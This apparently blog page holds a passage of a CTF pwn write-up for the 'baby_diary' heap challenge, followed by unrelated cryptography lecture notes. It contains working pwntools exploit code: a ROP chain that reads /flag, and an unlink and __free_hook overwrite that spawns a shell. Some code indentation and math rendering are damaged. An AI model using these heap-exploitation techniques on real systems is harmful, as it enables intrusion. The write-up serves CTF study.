base = __malloc_hook - libc.symbols['__malloc_hook']
__free_hook = base + libc.symbols['__free_hook']
setcontext = base + libc.symbols['setcontext']
openfile = base + libc.symbols['open']
readfile = base + libc.symbols['read']
writefile = base + libc.symbols['write']
poprdi_ret = base + 0x23B6A
poprsi_ret = base + 0x2601F
poprdx_ret = base + 0x142C92
addrsp0x18_ret = base + 0x349ea

add(0xF0 + 0x100) # chunk #5
edit(5, cyclic(0xF0) + p64(0) + p64(0x101) + p64(__free_hook))
add(0xF0) # chunk #6
add(0xF0) # chunk #7, to __free_hook
edit(7, p64(setcontext + 0x3D)) # change __free_hook to setcontext + 0x3D, ready for stack pivoting

add(0xF0 + 0x100) # chunk #8
chunk8_addr = chunk1_addr + 0x410

ROP = b'/flag'.ljust(0x30, b'\x00') # 0x0
ROP += p64(chunk8_addr + 0x10) # 0x30
ROP += p64(poprsi_ret) # 0x38
ROP += p64(2) # 0x40
ROP += p64(openfile) # 0x48
ROP += p64(poprdi_ret) # 0x50
ROP += p64(3) # 0x58
ROP += p64(poprsi_ret) # 0x60
ROP += p64(chunk8_addr + 0xF0) # 0x68
ROP += p64(poprdx_ret) # 0x70
ROP += p64(0x30) # 0x78
ROP += p64(readfile) # 0x80
ROP += p64(poprdi_ret) # 0x88
ROP += p64(1) # 0x90
ROP += p64(addrsp0x18_ret) # 0x98
ROP += p64(chunk8_addr + 0x40) # 0xA0
ROP += p64(poprdi_ret) # 0xA8
ROP += p64(0xdeadbeef) # 0xB0
ROP += p64(poprsi_ret) # 0xB8
ROP += p64(chunk8_addr + 0xF0) # 0xC0
ROP += p64(poprdx_ret) # 0xC8
ROP += p64(0x30) # 0xD0
ROP += p64(writefile) # 0xD8
edit(8, ROP)
gdb.attach(io)
time.sleep(5)
delete(8)

io.interactive()

这是一道经典的堆题,可以写入、读取和删除。其中最值得研究的就是write函数最后调用的一个函数,其中涉及几个迷之计算。

Step 1: 漏洞分析


我们进入unknown_handle函数(名字是笔者自己起的):

后面有一个unknown_cal函数,这个函数对输入的字符串进行了一系列的操作。首先将各个字符取出将它们的ASCII码全加起来保存到一个变量a中,然后循环进行下面的计算:如果a大于0xF,计算a = (a >> 4) + (a & 0xF)直到a小于0xF为止。返回到unknown_handle函数中,这里对字符串的后面一位进行了修改。但write函数一开始会要求输入size,申请的空间大小是size+1,这就需要注意read_buf这个函数了。当循环退出的时候,i的值应该就是max_len,此时后面的buf[i]=0实际上已经相对于max_len溢出了一个字节。因此unknown_handle函数中最后一条语句实际上相对于size溢出了2个字节。这可能会修改到下一个chunk的size。

本题还存在数组溢出漏洞。

请注意read函数,其中并没有对index进行检查,而在check_terminator函数中,存在有整型溢出漏洞,当index为负数时有可能通过检查。


但在数组溢出之后,想让check_terminator函数返回true并不容易,需要匹配结束符的ASCII码。

同样地,delete函数中也存在整型溢出漏洞,但如果对应地址不是有效的堆地址,就会直接报错,因此这里也不好利用:

Step 2: 确定利用方式,调试编写exp

这里需要注意unknown_handle函数时如何溢出一个字节的。在最后一条语句中,unknown_handle函数只会修改这个溢出字节的最低4位,最高4位不变。而堆管理中正常情况下所有的堆块大小都是以整0x10的形式保存的,即所有堆块的大小都是0x10的倍数。因此仅仅依靠一个字节的溢出无法达到堆块重叠的目的。

这里参考这篇文章的思路,利用large bin进行中转。当large bin中只有一个chunk时,其四个指针fd、bk、fd_nextsize、bk_nextsize有fd=bk在main_arena,fd_nextsize=bk_nextsize就是chunk自身。

当我们再一次分配到这一块内存空间时,我们就可以对这里面残留的4个指针进行改写,将其伪造成一个假chunk,这个chunk的fd指针就是原来的fd_nextsize指针,bk指针就是原来的bk_nextsize指针,将原来的bk指针改为合适的size,准备进行unlink操作。unlink操作最为关键的就是假chunk中两个指针的值,fd需要等于假chunk-0x18,bk需要等于假chunk-0x10。前面说过当large bin中仅有一个chunk时,其fd_nextsize和bk_nextsize均指向其自身,因此这里的bk不需要修改,但fd需要修改。注意:这里需要一定的爆破:由于写入时会在后面加上零字节和标志位,因此需要爆破chunk地址的其中8位,成功率为1/256:

在爆破成功之后,我们就通过unlink实现了堆块重叠,申请合适的大小就可以使得main_arena的地址可以被其他chunk所读取。

在获取libc地址后,我们还是利用堆块重叠这一特性,修改tcache的指向到__free_hook,将其改为system地址。然后释放堆块即可。

需要注意的是:假chunk头部应该写的是假chunk的地址而不应该是其他值,因为unlink_chunk函数中那个fd->bk=p || bk->fd=p这个检查中p是一个指针。因此我们还需要想办法让这里的值变成假chunk的地址。前面说过,我们通过切割large bin chunk可以获得两个地址,然后我们要改写其中一个地址。改写之后我们再一次释放这个chunk,这时这个chunk会进入到fastbin中,这就有可能会在假chunk头部写上一个有效的地址。我们只需要将这个chunk重新分配回来,修改这个地址,就有可能满足unlink的检查条件。(注意:不能让chunk进入tcache的原因是tcache chunk的bk指针实际指向tcache那个结构体,因此会破坏假chunk的结构,覆盖我们写入的size值,导致unlink在检查size时就失败

另外,对于最初进入large bin的chunk的大小也有讲究。在第一次写假chunk信息时,我们需要写入一个size的值,而这个size的值会影响到最后的校验位。如果size的值设置得不正确,那么第一次写入和第二次写入计算出来的校验位就会不一样,这样是不可能利用成功的。因为第一次写入影响的是假chunk的fd指针,第二次写入影响的是假chunk地址本身,二者的校验位必须相等才可能使得unlink的检查通过。经过验证,这里的假chunk的size可以写0x800,但是不能写0x700、0x600等值。

exp如下,平均需要爆破约350次,这和爆破的期望不符,原因暂时不明。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'

io = process('./baby_diary')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

def write_diary(size, content):
io.sendlineafter(b'>> ', b'1')
io.sendlineafter(b'size: ', str(size).encode())
io.sendafter(b'content: ', content)

def read_diary(index):
io.sendlineafter(b'>> ', b'2')
io.sendlineafter(b'index: ', str(index).encode())

def delete_diary(index):
io.sendlineafter(b'>> ', b'3')
io.sendlineafter(b'index: ', str(index).encode())

flag = True
counter = 0
while(flag):
write_diary(0x1070 - 0x290 - 0x10 + 0x4000, b'\n') # chunk #0
write_diary(0x810 - 0x30 - 0x10, b'\n') # chunk #1
write_diary(0x20, b'\n') # chunk #2
delete_diary(1)
write_diary(0x800, b'\n') # chunk #1, previous chunk #1 to large bin
write_diary(0x20, p64(0x10) + p64(0x800) + b'\x68\n') # chunk #3
for i in range(3):
write_diary(0x20, b'flag\n') # chunk #4~6
write_diary(0x6B0, b'\n') # chunk #7
for i in range(3):
write_diary(0x20, b'flag\n') # chunk #8~10

for i in range(7):
write_diary(0x20, b'\n') # chunk #11~17
for i in range(7):
delete_diary(11+i) # to tcache

delete_diary(4)
delete_diary(3) # write the chunk_addr to fake chunk's header

for i in range(7):
write_diary(0x20, b'\n') # empty tcache, chunk #3, #4, #11~15

write_diary(0x20, b'\x80\n') # chunk #16, change the chunk address
delete_diary(2)
write_diary(0x27, b'\x00' * 0x27) # chunk #2, change the prev_inuse bit of chunk #1
delete_diary(2)
write_diary(0x27, b'\x00' * 0x18 + p64(8) + b'\n') # chunk #2, change the prev_size of chunk #2 to 0x500
delete_diary(1) # trigger unlink
try:
write_diary(0x40, b'deadbeef\n') # chunk #1
break
except EOFError:
io.close()
io = process('./baby_diary')
counter += 1
print(counter)

read_diary(5)
io.recvuntil(b'content: ')
__malloc_hook = u64(io.recv(6) + b'\x00\x00') - 96 - 0x10
base = __malloc_hook - libc.symbols['__malloc_hook']
__free_hook = base + libc.symbols['__free_hook']
system = base + libc.symbols['system']
print(hex(__free_hook))

write_diary(0x20, b'\n')
delete_diary(12)
delete_diary(6)
write_diary(0x50, b'a' * 0x20 + p64(0) + p64(0x31) + p64(__free_hook) + b'\n')
write_diary(0x20, b'/bin/sh\n')
write_diary(0x20, p64(system) + b'\n')
delete_diary(12)

io.interactive()

公钥密码体制

对称密钥的三大问题

  1. 密钥交换
  2. 密钥管理:每两个用户之间的密钥都不相同
  3. 抵赖行为:不承认发送过某条消息

单向陷门函数

希望可以找到一个密码体制,对于给定的加密ek,除了消息接受者,求dk在计算上不可行。其中ek可公开,无需分享密钥。
单向函数:一个函数容易计算但求逆困难。(还没有一个函数没证明单向)
单向陷门函数:存在一个单向函数,该函数在具有特定知识(称为陷门)后容易求逆

单向函数定义

假定n=pq(p、q为不同的大素数),b为正整数,定义f:Zn→Zn,f(x)=xb mod n
陷门:大数n的因式分解
若已知n的因式分解n=pq,则φ(n)\varphi(n)=(p-1)(q-1)
若gcd(b,φ(n))=1,且ab\equiv 1 mod φ(n)
f-1:Zn→Zn,f-1(x)=xa mod n

公钥密码使用方式

用于加密:公钥加密私钥解密,无需交换密钥
用于认证:防止抵赖,如果要证明某文件为自己生成,则可以使用自己的私钥加密,其他人接收到之后通过公钥验证签名,用手中的所有公钥尝试,使用谁的公钥能够解密就是谁生成的文件

RSA算法

数学基础

欧拉定理:(a,n)=1,aφ(n)1(modn)(a,n)=1,a^{\varphi(n)}\equiv 1\pmod n
费马小定理:apa(modp)a^p\equiv a\pmod p

密码算法

n=pq,K={(n,p,q,e,d): ed\equiv 1 mod φ(n)}
定义ek(x)=xe(modn),dk(y)=yd(modn),(x,yZn)e_k(x)=x^e\pmod n,d_k(y)=y^d\pmod n,(x,y\in Z_n),(n,e)为公钥,(n,d)为私钥

参数生成

素性检测、公私钥对
加解密过程的快速实现:

  • 平方-乘算法
  • 蒙哥马利算法
  • 中国剩余定理加速解密

平方-乘算法

要计算abmodna^b\mod n

b=i=0l1bi2i,bi{0,1},bl1=1b=bl12l1+bl22l2+...+b12+b0=2(2(...(2(bl1)+bl2)+...)+b1)+b0ab=ai=0l1bi2i=(((...(1×abl1)2×abl2)2×...)2×ab1)2×ab0b=\sum_{i=0}^{l-1}b_i2^i,b_i\in\{0,1\},b_{l-1}=1\\ b=b_{l-1}2^{l-1}+b_{l-2}2^{l-2}+...+b_1\cdot 2+b_0\\ =2(2(...(2(b_{l-1})+b_{l-2})+...)+b_1)+b_0\\ a^b=a^{\sum_{i=0}^{l-1}b_i2^i}=(((...(1\times a^{b_{l-1}})^2\times a^{b_{l-2}})^2\times ...)^2\times a^{b_1})^2\times a^{b_0}

(实际上就是模平方重复法的变体)

如上图示例:
97262 \equiv 2659(mod 11413)
26592 \equiv 5634(mod 11413)

蒙哥马利算法

蒙哥马利变换
d=232,264,假设d=232
模N::k=32n比特奇数,IN=-N-1 mod 232
R=dn>N,(R,N)=1,a,b∈ZN
A=Mont(a) = aR mod N
MontInv(A) = AR-1 mod N
MontInv(Mont(a)) = a mod N

A = Mont(a), B = Mont(b)
MontMult(A,B)=ABR-1 = aRbRR-1 = abR mod N = Mont(ab mod N)
MontMult(A,MontMult(A,A))=Mont(a3 mod N)

MontMult(A,B) = ABR-1 mod N
T = AB, 2n位整数,T=(0t2n-1t2n-2…t1t0)
计算T’=T+N×((t0×IN) mod 232)
(1) T’ = T mod N
(2) T’ = t0+(N×IN)t0 = 0 mod 232
(3) T’ >> 32, T’ = T×232 mod N
令T=T’, 重复上述步骤n次,T×2-32n = TR-1 mod N
T’ = (0ctn-1’tn-2’…t0’),如果T’>N,返回T’-N,否则返回T’=(tn-1’tn-2’…t0’)

快速模幂运算ae mod N

中国剩余定理

把解密时的一个式子拆成两个式子来算(模p和q)

素数定理

π(N)NlnN\pi(N)\approx\frac{N}{\ln N}

若n=pq,为1024比特,则p,q为512比特
1ln25121355\frac{1}{\ln 2^{512}}\approx\frac{1}{355}(为素数的概率)

素性检测

费马素性检测:若p为素数,(a,p)=1,则ap-1 = 1 mod p

伪素数:设n为奇合数,如果整数b,(b,n)=1,使得bn-1=1 mod n,则称n为对于基b的伪素数

Euler伪素数:设n为正奇合数,整数b,(b,n)=1,满足bp12(bn)modnb^{\frac{p-1}{2}}\equiv (\frac{b}{n})\mod n,称n为对于基b的Euler伪素数

p-1=2st,ap11=(a2s1t+1)(a2s2t+1)...(at+1)(at+1)a^{p-1}-1=(a^{2^{s-1}t}+1)(a^{2^{s-2}t}+1)...(a^{t}+1)(a^{t}+1)
则下列同余式中至少有一个成立:
at1modp,a2t1modp,...,a2s1t1modpa^t\equiv -1\mod p, a^{2t}\equiv -1\mod p,...,a^{2^{s-1}t}\equiv -1\mod p
强伪素数:设n为奇合数,n-1=2st,t为奇数,整数b与n互素,满足bt=1 mod n,或者存在r,0≤r<s,有b2rt1modnb^{2^rt}\equiv -1\mod n,称n为对于基b的强伪素数

Solovay-Strassen算法
随机选择整数a在1到n-1之间,x=(an)(\frac{a}{n}),若x=0则n为合数;若xan12(modn)x\equiv a^{\frac{n-1}{2}}\pmod n则n是素数,否则为合数(计算雅可比符号)
判断具有1/2的错误概率(若n为素数则输出一定为素数,若n为合数则有1/2的概率输出为合数)

Miller-Rabin算法
n-1=2st的形式,其中t为奇数
随机选择整数a在1到n-1之间
计算b=atmodnb=a^t\mod n
如果b1(modn)b\equiv 1\pmod n,那么n为素数;否则进行下列循环:
for i=0 to s-1:
if b1(modn)b\equiv -1\pmod n,then n是素数
else b=b2 mod n
若循环能结束则n为合数

若n为强伪素数,则输出可能为素数;若n为素数,则输出一定为素数,具有1/4的错误概率,优于Solovay-Strassen算法

AKS算法
确定性素性检测方法
理论基础:aZ,nN,n2,(a,n)=1a\in Z,n\in N,n\ge 2,(a,n)=1,n是素数,当且仅当(x+a)n=xn+a(modn)(x+a)^n=x^n+a\pmod n
该算法为该理论复杂度的改进:(x+a)n=xn+a(modxr1,n)(x+a)^n=x^n+a\pmod {x^r-1,n}
算法的时间复杂度高于概率算法

  • 若存在整数a>0且b>1,满足n=ab,则输出合数
  • 找出满足ordr(n)>log2n\operatorname {ord}_r(n)>\log_2n的最小的r
  • 若对a≤r,1<gcd(a,n)<n,输出合数
  • 若n≤r,输出素数
  • for a=1 to φ(r)logn\lfloor{\sqrt{\varphi(r)}\log n}\rfloor do
    • if (x+a)n≠xn+a (mod xr-1, n),输出合数
  • 输出素数

共模攻击

给群组中每个人相同的公钥n,但指数e和d不同时可能产生共模攻击

  • 对于群组内成员,即使不分解n也可以解密其他人消息
    e1d11modφ(n),e2d21modφ(n)e_1d_1\equiv 1\mod \varphi(n),e_2d_2\equiv 1\mod \varphi(n)
    e2d21mod(e1d11)e2d21modφ(n)e_2d_2'\equiv 1\mod(e_1d_1-1)\Rightarrow e_2d_2'\equiv 1\mod \varphi(n)
    (自己有e1,d1e_1,d_1,因此可以计算d2d_2'
  • 群组外人员如果截获到发送给群组不同成员的同一消息,而两个加密指数互素,则可以直接恢复消息
    令m为明文消息,加密指数为e1,e2e_1,e_2,且二者互素,故存在r,s使得re1+se2=1re_1+se_2=1,假设r为负数
    (c11)rc2s=mre1+se2=mmodn(c_1^{-1})^{-r}c_2^s=m^{re_1+se_2}=m\mod n

小加密指数攻击

若选择的e较小(如3),则加密会很快
Coppersmith定理攻击:n为大整数,f为次数为e的多项式,可以在log n时间内有效计算出f(x)=0 mod n的小于n1en^{\frac{1}{e}}的解。
应避免使用小的加密指数,e最少应选取216+1=65537
在短消息加密之前应该首先填充

总结

教科书式的RSA方案是不安全的,速度慢是其主要缺点(硬件实现比DES慢1000倍,软件慢100倍,选择特定的e值能够大大加快RSA的速度)
可用于加密、密钥交换和数字签名

Rabin密码体制

设n=pq,其中p,q为素数,均为4k+3型素数
P=C=Zn,且定义K={(n,p,q)}
对于k=(n,p,q),定义
ek(x)=x2(modn),dk(y)=y(modn)e_k(x)=x^2\pmod n, d_k(y)=\sqrt y\pmod n
(x,y∈Zn),其中n为公钥,p、q为私钥

这是一个单向陷门函数,陷门为n的分解。f(x)=x2 mod n

公开密钥算法

加密:C=EKpub(P)C=E_{K_{pub}}(P)
解密:P=DKprv(C)P=D_{K_{prv}}(C)
两个密钥不能相互推导(或推导的难度不亚于密码分析)
其中一个密钥公开(KpubK_{pub}),另一个密钥保密(KprvK_{prv}
每一个用户掌握一个私钥,并将相应的公钥放在公共目录中

问题:如何让别人正确知道你的公钥?(如何保证你发出的公钥不被篡改/如何证明一个公钥是不是你的?)
答案:通过可信授权中心(PKI),每个人将自己的公钥发给PKI,由PKI为该公钥签名,相当于提供一个证书,在将这个有签名的公钥返还给用户。

离散对数问题

对于乘法群(G,)(G,\cdot),一个n阶元素a∈G和β∈<a>
问题:找到唯一非负整数i不大于n-1,满足ai
将整数i记为indα(β)\operatorname {ind}_{\alpha}(\beta),称为β的离散对数

Diffie-Hellman算法

交换素数p和本原元g
Alice和Bob选择各自的私钥,Alice向Bob发送X=gx mod p,Bob向Alice发送Y=gy mod p。
之后Alice计算k=Yx mod p,Bob计算k=Xy mod p,二者计算的值相等,实现密钥交换。

上述的密钥交换方案不安全。容易遭受中间人攻击。
如果Eve能够截获两者发送的X和Y,他用自己的密钥进行计算然后分别发送给Alice和Bob,这样A和B接收到的就是Eve的值。

ElGamal密码体制

假设p为一个大素数,使得p构成乘法群上的离散对数问题难解。令α∈Zp是一个本原元,令P=Zp*,C=Zp×Zp,定义K={(p,α,a,β): β=αa mod p}
其中p,α,β为公钥,a为私钥。
对k=(p,α,a,β)以及一个秘密的随机数r∈Zp-1,定义ek(x,r)=(y1, y2)
其中y1r mod p, y2=xβr mod p
定义dk(y1, y2)=y2(y1a)-1 mod p
注意r在加密的时候需要随机选择,加密后应立即销毁不能在信道上传输。
加密运算具有不确定性。
注意三个公钥中只有β与私钥a直接相关。

椭圆曲线

设a,b∈R是满足4a3+27b204a^3+27b^2\ne 0的实常数,方程y2=x3+ax+by^2=x^3+ax+b所有解(x, y)∈R×R连同一个无穷远点OO组成的集合E称为一个非奇异椭圆曲线。

从函数图像来看,椭圆曲线有两种,一种有一条线,一种有两条线

Weierstrass方程

定义在代数闭域Kˉ\bar K上射影平面坐标的一般方程
Y2Z+a1XYZ+a3YZ2=X3+a2X2Z+a4XZ2+a6Z3(a1,a2,a3,a4,a6Kˉ)Y^2Z+a_1XYZ+a_3YZ^2=X^3+a_2X^2Z+a_4XZ^2+a_6Z^3 (a_1,a_2,a_3,a_4,a_6\in\bar K)
K上的射影平面P2(K)是K3/{(0, 0, 0)}上关系~的等价类集合,每个等价类记作(X:Y:Z)
(X1,Y1,Z1) ~ (X2,Y2,Z2)
F(X,Y,Z)=Y2Z+a1XYZ+a3YZ2X3a2X2Za4XZ2a6Z3=0F(X,Y,Z)=Y^2Z+a_1XYZ+a_3YZ^2-X^3-a_2X^2Z-a_4XZ^2-a_6Z^3=0
非奇异:FX,FY,FZ\frac{\partial F}{\partial X},\frac{\partial F}{\partial Y},\frac{\partial F}{\partial Z}在P点至少有一个非0。

椭圆曲线E:非奇异Weierstrass方程的所有P2(Kˉ\bar K)的解
y2+a1xy+a3y=x3+a2x2+a4x+a6

(E,+)是一个以无穷远点0为单位元的阿贝尔群,加法规则为:
P+0=0+P=P0=0P=(x1,y1)0,P=(x1,y1a1x1a3)Q=P,P+Q=0P,Q0,QP,P+Q=RP+0=0+P=P\\ -0=0\\ P=(x_1,y_1)\ne 0, -P=(x_1,-y_1-a_1x_1-a_3)\\ Q=-P,P+Q=0 P,Q\ne 0,Q\ne -P,P+Q=-R
其中R为直线PQ或过点P的切线与椭圆曲线的第三个交点

(当P和Q重合时,直线是曲线的切线,把y作为因变量对x求导计算dydx\frac{dy}{dx}

椭圆曲线密码(ECC)

阶:有限域Fq上的椭圆曲线E(Fq)由点组成,其上点的数量即为#E(Fq)。称为椭圆曲线的阶。

倍点运算:P+P

椭圆曲线离散对数问题:已知曲线E(Fq),阶为n的点G∈E(Fq),P∈<G>,椭圆曲线离散对数问题是指确定整数k∈[0,…,n-1]使得P=KG成立。

安全参数的选取:
(q, a, b, G, n, h)
对于特征为p的有限域Fq
其中a、b为椭圆曲线的参数,G为基点,阶为n,有限域Fq的特征为p

Fp(p>3):y2=x3+ax+b,a,bFp,(4a3+27b2)modp0F_p(p>3): y^2=x^3+ax+b,a,b\in F_p,(4a^3+27b^2)\mod p\ne 0
F2m(p=2):y2+xy=x3+ax+b,a,bF2m,b0F_{2^m}(p=2): y^2+xy=x^3+ax+b,a,b\in F_{2^m}, b\ne 0

存在弱椭圆曲线:超奇异曲线(pq+1#E(Fq)p|q+1-\#E(F_q))和异常曲线(#E(Fq)=p\#E(F_q)=p

可以基于ECC构建DH密钥交换协议:首先选择公开参数(q,Fq,E,G,n)(q,F_q,E,G,n),Alice发送Pa=aGP_a=aG,Bob发送Pb=bGP_b=bG,二者交换后计算分别得到S=abGS=abG即为私钥。(仍然易受到中间人攻击)

也可以基于ECC构建ElGamal密码体制:首先选择公开参数(q,Fq,E,G,n),A:(dA,PA),PA=dAG(q,F_q,E,G,n), A:(d_A,P_A),P_A=d_AG
B发送明文消息m给A需要加密:
随机选择rZnr\in Z_n
计算C1=rG,Q=rPA(Qx0);C2=mQxC_1=rG, Q=rP_A(Q_x\ne 0);C_2=mQ_x
发送(C1,C2)(C_1,C_2)给A
解密:dAC1=dArG=rPA=Q,m=C2Qx1d_AC_1=d_ArG=rP_A=Q,m=C_2Q_x^{-1}

数字签名

签名方案:一个签名方案由一个五元组构成(P,A,K,S,V),其中
P是所有可能的消息组成的有限集
A是所有可能的签名组成的有限集
K是所有可能的密钥组成的有限集(密钥空间)
对于每一个k∈K,有一个秘密的签名函数sigk∈S和一个相应的公开的验证函数verk∈V,sigk:P→A,verk:P×A→{true, false},满足:
当y=sigk(x)时,verk(x,y)=true,否则为false

RSA签名方案

设n=pq,p,q为素数,P=A=Zn,定义K={(n,p,q,e,d): ed \equiv 1 mod φ(n)}
对于k=(n,p,q,e,d),定义sigk(x)=xd mod n和verk(x,y)=true ↔ x=ye mod n
(x,y∈Zn),(n,e)为公钥,(n,d)为私钥

存在性伪造问题:任何人都可以伪造他人的签名y,对应消息为x=ek(y)=ye,一般这个消息是无意义的,但要防止攻击者计算大量的ek(y),找出有意义的值从而伪造签名。
可以通过给消息添加可以识别的冗余信息或者对消息摘要后签名

选择密文攻击
假设A响应E的任何签名要求:c=memodnc=m^e mod n
x=remodn,y=xcmodnx=r^e\mod n,y=xc\mod n
ydmodn=(xc)dmodn=rcdmodny^d\mod n=(xc)^d\mod n=rc^d\mod n
r1ydmodn=r1rcdmodn=mr^{-1}y^d\mod n=r^{-1}rc^d\mod n=m

若E想得到A关于消息m的签名,m=m1m2modnm=m_1m_2\mod n,可以通过m1和m2的签名构造m的签名。
mdmodn=(m1m2)dmodn=(m1dmodn)(m2dmodn)modnm^d\mod n=(m_1m_2)^d\mod n=(m_1^d\mod n)(m_2^d\mod n)\mod n

因此不要对陌生消息签名,签名之前先对消息求摘要、身份认证。

签名和公钥加密结合的方案:

  • 第一种方案:先签名后加密——y=sigAlice(x),z=eBob(x,y)y=sig_{Alice}(x),z=e_{Bob}(x,y)
  • 第二种方案:先加密后签名——z=eBob(x),y=sigAlice(z)z=e_{Bob}(x),y=sig_{Alice}(z)
  • 第二种方案可能存在伪造签名混淆发送者的问题,因此采用第一种方案更好。

ElGamal签名方案
设p为一个大素数,使得(Zp,)(Z_p^*, \cdot)上的离散对数问题难解。令αZp\alpha\in Z_p^*是一个本原元,令P=Zp,A=Zp×Zp1P=Z_p^*,A=Z_p^*\times Z_{p-1},定义K={(p,α,a,β):β=αamodp}K=\{(p,\alpha,a,\beta):\beta=\alpha^a\mod p\}
其中p,α,βp,\alpha,\beta为公钥,aa为私钥
k=(p,α,a,β)k=(p,\alpha,a,\beta)以及一个秘密的随机数rZp1r\in Z_{p-1}^*,定义sigk(x,r)=(γ,δ)sig_k(x,r)=(\gamma,\delta)
其中γ=αrmodp,δ=(xaγ)r1modp1\gamma=\alpha^r\mod p,\delta=(x-a\gamma)r^{-1}\mod p-1
对于x,γZp,δZp1x,\gamma\in Z_p^*,\delta\in Z_{p-1}
定义ver(x,(y,δ))=trueβγγδαxmodpver(x,(y,\delta))=true\Leftrightarrow \beta^\gamma\gamma^\delta\equiv\alpha^x\mod p
容易证明βγγδαaγ+r(xaγ)r1modp1αxmodp\beta^\gamma\gamma^\delta\equiv\alpha^{a\gamma+r(x-a\gamma)r^{-1}\mod p-1}\equiv\alpha^x\mod p

数字签名标准

DSA算法,签名比验证快很多,不能加密和密钥分配,专用于数字签名,比RSA慢
设p是一个大素数,使得(Zp,)(Z_p^*, \cdot)上的离散对数问题难解。令αZp\alpha\in Z_p^*是一个q阶元素(q为素数),<α><\alpha>上的离散对数问题也难解。(整数k与p-1互素,k∈[0, p-2],q|p-1)

γ=αkmodp,δ=(x+aγ)k1modp1(kZp1)kδx+aγmodp1,αkδαx+aγmodpαxβγγδmodp,δ=(x+aγ)k1modqγ=γmodq=(αkmodp)modq,δ=(x+aγ)k1modqαxβγγδmodpγ=(αxβγ)δ1modqmodpγ=(αxδ1modqβγδ1modqmodp)modq=γ\gamma=\alpha^k\mod p,\delta=(x+a\gamma)k^{-1}\mod p-1(k\in Z_{p-1}^*)\\ \because k\delta\equiv x+a\gamma\mod p-1,\therefore\alpha^{k\delta}\equiv\alpha^{x+a\gamma}\mod p\\ \Rightarrow\alpha^x\beta^\gamma\equiv\gamma^\delta\mod p,\delta=(x+a\gamma)k^{-1}\mod q\\ \gamma'=\gamma\mod q=(\alpha^k\mod p)\mod q,\delta=(x+a\gamma')k^{-1}\mod q\\ \alpha^x\beta^{\gamma'}\equiv\gamma^\delta\mod p\\ \gamma=(\alpha^x\beta^{\gamma'})^{\delta^{-1}\mod q}\mod p\Rightarrow \gamma= (\alpha^{x\delta^{-1}\mod q}\beta^{\gamma'\delta^{-1}\mod q}\mod p)\mod q=\gamma'

验证γ=(αxδ1modqβγδ1modqmodp)modq=γ\gamma= (\alpha^{x\delta^{-1}\mod q}\beta^{\gamma'\delta^{-1}\mod q}\mod p)\mod q=\gamma'是否成立。成立则数字签名有效。

sigK(x,k)=(γ,δ),γ=(αkmodp)modq,δ=(SHA-1(x)+aγ)k1modqe1=SHA-1(x)δ1modq,e2=γδ1modqverK(x,(γ,δ))=true(αe1βe2modp)modq=γsig_K(x,k)=(\gamma, \delta), \gamma=(\alpha^k\mod p)\mod q,\delta=(\operatorname {SHA-1}(x)+a\gamma)k^{-1}\mod q\\ e_1=\operatorname {SHA-1}(x)\delta^{-1}\mod q,e_2=\gamma\delta^{-1}\mod q\\ ver_K(x,(\gamma,\delta))=true\Leftrightarrow(\alpha^{e_1}\beta^{e_2}\mod p)\mod q=\gamma

椭圆曲线数字签名

p是一个大素数,E定义在Fp上的椭圆曲线。设A是E上阶为q(素数)的一个点,使得在<A>上的离散对数问题是难处理的。设P={0,1}*,A=Zq*×Zq*,定义K={(p,q,E,A,m,B): B=mA}
其中0≤m≤q-1,值p,q,E,A,B为公钥,m为私钥。
对于K和一个秘密的随机数k,1≤k≤q-1,定义

sigK(x,k)=(r,s)sig_K(x,k)=(r,s)

其中

PGP安全协议

一种以用户为中心的可提供机密性和鉴别的安全协议。

若需要签名和加密,则先签名再加密,如需压缩则加密后压缩:Z(Sig(H(M),kRa)M)Z(Sig(H(M),kR_a)||M)

4.1 数据完整性

信息安全的三个要点:机密性、完整性、可用性
被动攻击:攻击者只能监听;主动攻击:攻击者可能会干扰通信

  • 数据完整性是对抗对消息未授权修改的安全服务
  • 有些应用不需要机密性
    解决完整性问题:添加冗余
  • 对称技术:Hash函数(散列函数),报文鉴别码(MAC)
  • 非对称技术:数字签名

Hash函数

H(M)作用于一个任意长度的消息M,返回固定长度(通常超过128比特)的散列值h:
h=H(M)

  • 有时也称为摘要函数、散列函数或杂凑函数
  • h也被称为消息或数据的“摘要”或“指纹”
  • 带密钥的Hash函数:可以将h和M一起在不安全的信道中传输
  • 不带密钥的Hash函数:h必须安全存放以保证h不被篡改

作用:

  • 口令保护
  • 构造报文鉴别码HMAC
  • 数字签名
  • 伪随机数生成器

要求:

  • 快速:给定M,很容易计算h
  • 单向:给定h,根据H(M)=h无法计算出M
  • 防碰撞:给定M,要找到另一条消息M’并满足二者摘要相等困难或找到任意两个具有相同散列值的不同消息困难

假定h:X→Y,|X|≥|Y|,设x∈X,定义y=h(x)

  • 单向性(原像稳固性):给定摘要y,找到x使得h(x)=y困难
  • 第二原像稳固性:给定消息x∈X,找到一个x’∈X且x’≠x,使得h(x)=h(x’)困难
  • 碰撞稳固性:对于任意x,x’∈X,找到x≠x’且h(x)=h(x’)的二元组(x,x’)困难

理想的Hash函数应该满足:对于给定的x,只能通过函数h计算得到h(x)的值,而无法通过其他条件得到;已知h(x1),h(x2),…,无法间接推出h(x),其中x与x1,x2,…均不相等

随机预言机ROM

  • 提供“理想”Hash函数的数学模型
  • 确定性、有效性和均匀输出

FX,YF^{X,Y}是所有从X到Y的函数集合,假定|X|=N,|Y|=M,随机从FX,YF^{X,Y}中选择一个Hash函数h:X→Y,对于任意的输入x,其输出值为均匀的,计算h(x)的唯一方法是询问随机预言机。

定理:假定hFX,Yh\in F^{X,Y}随机选择,令X0XX_0\in X,假定当且仅当xX0x\in X_0时。h(x)被确定,则对所有的xX\X0,yYx\in X \backslash X_0,y\in Y都有Pr[h(x)=y]=1MPr[h(x)=y]=\frac{1}{M}

原像问题

Find - Preimage(h, y, Q)
选择任意的X0X,X0=QX_0\subseteq X,|X_0|=Q
for each x∈X0
do: if h(x)=y then return(x)
return (failure)

对于任意的X0X,X0=QX_0\subseteq X,|X_0|=Q,算法的平均成功率为ε=1(11M)Q\varepsilon=1-(1-\frac{1}{M})^{Q}

证明:给定y∈Y,令X0={x1,x2,…,xQ}
对于1≤i≤Q,有Pr[Ei]=1MPr[E_i]=\frac{1}{M}
